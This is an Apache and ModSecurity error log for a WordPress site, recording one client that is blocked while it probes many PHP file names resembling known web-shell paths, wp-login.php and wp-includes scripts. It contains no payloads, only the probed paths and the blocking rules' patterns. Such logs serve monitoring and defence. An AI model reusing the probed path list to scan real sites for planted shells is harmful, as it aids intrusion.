[Sat Jan 03 22:40:03.261094 2026] [:error] [pid 31630:tid 31633] [client 4.197.161.255:19948] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless11.php"] [unique_id "aVkqQ_UV_PU2SWgLPuhvOgAAAYE"]
[Sat Jan 03 22:40:03.446278 2026] [:error] [pid 31222:tid 31238] [client 4.197.161.255:19964] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless11.php"] [unique_id "aVkqQ6Hw6nASHXAc2v_3OAAAAc4"]
[Sat Jan 03 22:40:03.713308 2026] [:error] [pid 31222:tid 31226] [client 4.197.161.255:7086] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless11.php"] [unique_id "aVkqQ6Hw6nASHXAc2v_3OQAAAcI"]
[Sat Jan 03 22:40:04.004392 2026] [:error] [pid 2083:tid 2102] [client 4.197.161.255:19846] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aVkqRDVlR_BmlMPnhV4n2AAAANE"]
[Sat Jan 03 22:40:04.505311 2026] [:error] [pid 31222:tid 31224] [client 4.197.161.255:19926] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aVkqRKHw6nASHXAc2v_3PAAAAcA"]
[Sat Jan 03 22:40:05.181535 2026] [:error] [pid 34260:tid 34269] [client 4.197.161.255:7111] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aVkqRUWWhyvZ0O9KNVQzewAAAQc"]
[Sat Jan 03 22:40:06.350674 2026] [:error] [pid 1929:tid 1948] [client 4.197.161.255:19931] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aVkqRucFqdpu6TNsuWr_UAAAAAo"]
[Sat Jan 03 22:40:07.211113 2026] [:error] [pid 1931:tid 1993] [client 4.197.161.255:19932] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file9.php"] [unique_id "aVkqRx8Tyw7ZoIdXlcYXVgAAAIA"]
[Sat Jan 03 22:40:07.894532 2026] [:error] [pid 1931:tid 2027] [client 4.197.161.255:7092] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file9.php"] [unique_id "aVkqRx8Tyw7ZoIdXlcYXWgAAAIQ"]
[Sat Jan 03 22:40:09.404179 2026] [:error] [pid 34260:tid 34278] [client 4.197.161.255:7020] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file9.php"] [unique_id "aVkqSUWWhyvZ0O9KNVQzfAAAARA"]
[Sat Jan 03 22:40:11.068566 2026] [:error] [pid 19639:tid 19657] [client 4.197.161.255:19961] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file9.php"] [unique_id "aVkqSyQ7fWZUytnlHEwLGQAAAVA"]
[Sat Jan 03 22:40:12.290629 2026] [:error] [pid 31222:tid 31231] [client 4.197.161.255:19916] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ac.php"] [unique_id "aVkqTKHw6nASHXAc2v_3QAAAAcc"]
[Sat Jan 03 22:40:12.771619 2026] [:error] [pid 2083:tid 2093] [client 4.197.161.255:19883] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ac.php"] [unique_id "aVkqTDVlR_BmlMPnhV4n2QAAAMg"]
[Sat Jan 03 22:40:13.066367 2026] [:error] [pid 2083:tid 2090] [client 4.197.161.255:7104] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ac.php"] [unique_id "aVkqTTVlR_BmlMPnhV4n3AAAAMU"]
[Sat Jan 03 22:40:13.214324 2026] [:error] [pid 31222:tid 31228] [client 4.197.161.255:19949] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ac.php"] [unique_id "aVkqTaHw6nASHXAc2v_3QgAAAcQ"]
[Sat Jan 03 22:40:13.755109 2026] [:error] [pid 31222:tid 31241] [client 4.197.161.255:19889] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/az.php"] [unique_id "aVkqTaHw6nASHXAc2v_3RQAAAdE"]
[Sat Jan 03 22:40:14.032073 2026] [:error] [pid 31222:tid 31243] [client 4.197.161.255:19874] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/az.php"] [unique_id "aVkqTqHw6nASHXAc2v_3RwAAAdM"]
[Sat Jan 03 22:40:14.452019 2026] [:error] [pid 31222:tid 31234] [client 4.197.161.255:19896] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/az.php"] [unique_id "aVkqTqHw6nASHXAc2v_3SQAAAco"]
[Sat Jan 03 22:40:14.992246 2026] [:error] [pid 31222:tid 31245] [client 4.197.161.255:19923] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/az.php"] [unique_id "aVkqTqHw6nASHXAc2v_3TwAAAdU"]
[Sat Jan 03 22:40:15.431729 2026] [:error] [pid 31630:tid 31636] [client 4.197.161.255:7116] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galex.php"] [unique_id "aVkqT_UV_PU2SWgLPuhvPQAAAYQ"]
[Sat Jan 03 22:40:15.840969 2026] [:error] [pid 34260:tid 34280] [client 4.197.161.255:7117] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galex.php"] [unique_id "aVkqT0WWhyvZ0O9KNVQzgAAAARI"]
[Sat Jan 03 22:40:23.079654 2026] [:error] [pid 31222:tid 31242] [client 4.197.161.255:19900] [client 4.197.161.255] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.197.161.255, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aVkqV6Hw6nASHXAc2v_3ZAAAAdI"]
[Sat Jan 03 22:40:23.083584 2026] [proxy_fcgi:error] [pid 31222:tid 31242] [client 4.197.161.255:19900] AH01071: Got error 'Primary script unknown'
[Sat Jan 03 22:40:26.638283 2026] [autoindex:error] [pid 31222:tid 31236] [client 4.197.161.255:19900] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Jan 03 22:40:26.731325 2026] [:error] [pid 31222:tid 31240] [client 4.197.161.255:19900] [client 4.197.161.255] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/index.php"] [unique_id "aVkqWqHw6nASHXAc2v_3awAAAdA"]
[Sat Jan 03 22:40:31.873935 2026] [:error] [pid 31630:tid 31652] [client 4.197.161.255:19941] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/waq.php"] [unique_id "aVkqX_UV_PU2SWgLPuhvUAAAAZQ"]
[Sat Jan 03 22:40:32.524173 2026] [:error] [pid 19639:tid 19657] [client 4.197.161.255:7043] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/waq.php"] [unique_id "aVkqYCQ7fWZUytnlHEwLKQAAAVA"]
[Sat Jan 03 22:40:33.121796 2026] [:error] [pid 2083:tid 2095] [client 4.197.161.255:19870] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/waq.php"] [unique_id "aVkqYTVlR_BmlMPnhV4n7wAAAMo"]
[Sat Jan 03 22:40:34.529969 2026] [:error] [pid 2083:tid 2098] [client 4.197.161.255:19919] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/waq.php"] [unique_id "aVkqYjVlR_BmlMPnhV4n8AAAAM0"]
[Sat Jan 03 22:40:35.302237 2026] [:error] [pid 1929:tid 1959] [client 4.197.161.255:7147] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wakak.php"] [unique_id "aVkqY-cFqdpu6TNsuWr_cAAAABU"]
[Sat Jan 03 22:40:35.857633 2026] [:error] [pid 1929:tid 1960] [client 4.197.161.255:7102] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wakak.php"] [unique_id "aVkqY-cFqdpu6TNsuWr_cQAAABY"]
[Sat Jan 03 22:40:37.150977 2026] [:error] [pid 1931:tid 1993] [client 4.197.161.255:19867] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wakak.php"] [unique_id "aVkqZR8Tyw7ZoIdXlcYXeAAAAIA"]
[Sat Jan 03 22:40:39.028708 2026] [:error] [pid 1931:tid 2037] [client 4.197.161.255:19903] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wakak.php"] [unique_id "aVkqZx8Tyw7ZoIdXlcYXeQAAAI0"]
[Sat Jan 03 22:40:40.131288 2026] [:error] [pid 34260:tid 34265] [client 4.197.161.255:6998] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminfuns.php"] [unique_id "aVkqaEWWhyvZ0O9KNVQziQAAAQM"]
[Sat Jan 03 22:40:41.797546 2026] [:error] [pid 1929:tid 1947] [client 4.197.161.255:7032] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminfuns.php"] [unique_id "aVkqaecFqdpu6TNsuWr_ggAAAAk"]
[Sat Jan 03 22:40:43.365745 2026] [:error] [pid 1929:tid 1952] [client 4.197.161.255:7075] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminfuns.php"] [unique_id "aVkqa-cFqdpu6TNsuWr_hgAAAA4"]
[Sat Jan 03 22:40:44.281853 2026] [:error] [pid 1929:tid 1953] [client 4.197.161.255:19890] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminfuns.php"] [unique_id "aVkqbOcFqdpu6TNsuWr_iwAAAA8"]
[Sat Jan 03 22:40:45.298525 2026] [:error] [pid 1931:tid 2027] [client 4.197.161.255:6850] [client 4.197.161.255] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/wp-class.php"] [unique_id "aVkqbR8Tyw7ZoIdXlcYXgwAAAIQ"]
[Sat Jan 03 22:40:48.439944 2026] [:error] [pid 2083:tid 2091] [client 4.197.161.255:7028] [client 4.197.161.255] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/index.php"] [unique_id "aVkqcDVlR_BmlMPnhV4n9AAAAMY"]
[Sat Jan 03 22:40:52.228325 2026] [:error] [pid 34260:tid 34272] [client 4.197.161.255:6999] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wen.php"] [unique_id "aVkqdEWWhyvZ0O9KNVQzjwAAAQo"]
[Sat Jan 03 22:40:55.435136 2026] [:error] [pid 2083:tid 2087] [client 4.197.161.255:19892] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wen.php"] [unique_id "aVkqdzVlR_BmlMPnhV4n_AAAAMI"]
[Sat Jan 03 22:40:57.593485 2026] [:error] [pid 2083:tid 2086] [client 4.197.161.255:7160] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wen.php"] [unique_id "aVkqeTVlR_BmlMPnhV4oAQAAAME"]
[Sat Jan 03 22:40:58.302511 2026] [:error] [pid 34260:tid 34273] [client 4.197.161.255:7015] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wen.php"] [unique_id "aVkqekWWhyvZ0O9KNVQzlgAAAQs"]
[Sat Jan 03 22:40:59.128936 2026] [:error] [pid 2083:tid 2104] [client 4.197.161.255:6948] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cwclass.php"] [unique_id "aVkqezVlR_BmlMPnhV4oBQAAANM"]
[Sat Jan 03 22:41:00.180515 2026] [:error] [pid 19639:tid 19645] [client 4.197.161.255:7110] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cwclass.php"] [unique_id "aVkqfCQ7fWZUytnlHEwLNQAAAUQ"]
[Sat Jan 03 22:41:00.929725 2026] [:error] [pid 31630:tid 31653] [client 4.197.161.255:19899] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cwclass.php"] [unique_id "aVkqfPUV_PU2SWgLPuhvXQAAAZU"]
[Sat Jan 03 22:41:01.255239 2026] [:error] [pid 31630:tid 31647] [client 4.197.161.255:19937] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cwclass.php"] [unique_id "aVkqffUV_PU2SWgLPuhvXgAAAY8"]
[Sat Jan 03 22:41:01.708992 2026] [:error] [pid 19639:tid 19648] [client 4.197.161.255:7039] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ah24.php"] [unique_id "aVkqfSQ7fWZUytnlHEwLNwAAAUc"]
[Sat Jan 03 22:41:01.888532 2026] [:error] [pid 2083:tid 2109] [client 4.197.161.255:7025] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ah24.php"] [unique_id "aVkqfTVlR_BmlMPnhV4oBgAAANg"]
[Sat Jan 03 22:41:02.060837 2026] [:error] [pid 19639:tid 19658] [client 4.197.161.255:7008] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ah24.php"] [unique_id "aVkqfiQ7fWZUytnlHEwLOQAAAVE"]
[Sat Jan 03 22:41:02.571261 2026] [:error] [pid 34260:tid 34283] [client 4.197.161.255:19945] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ah24.php"] [unique_id "aVkqfkWWhyvZ0O9KNVQzmQAAARU"]
[Sat Jan 03 22:41:03.007917 2026] [:error] [pid 34260:tid 34262] [client 4.197.161.255:19910] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rtx.php"] [unique_id "aVkqf0WWhyvZ0O9KNVQzmgAAAQA"]
[Sat Jan 03 22:41:03.196841 2026] [:error] [pid 2083:tid 2088] [client 4.197.161.255:7154] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rtx.php"] [unique_id "aVkqfzVlR_BmlMPnhV4oBwAAAMM"]
[Sat Jan 03 22:41:03.275970 2026] [:error] [pid 34260:tid 34265] [client 4.197.161.255:19928] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rtx.php"] [unique_id "aVkqf0WWhyvZ0O9KNVQzmwAAAQM"]
[Sat Jan 03 22:41:04.147155 2026] [:error] [pid 34260:tid 34271] [client 4.197.161.255:19864] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rtx.php"] [unique_id "aVkqgEWWhyvZ0O9KNVQznAAAAQk"]
[Sat Jan 03 22:41:04.368507 2026] [:error] [pid 34260:tid 34266] [client 4.197.161.255:7003] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bipas.php"] [unique_id "aVkqgEWWhyvZ0O9KNVQznQAAAQQ"]
[Sat Jan 03 22:41:04.896347 2026] [:error] [pid 34260:tid 34270] [client 4.197.161.255:19924] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bipas.php"] [unique_id "aVkqgEWWhyvZ0O9KNVQznwAAAQg"]
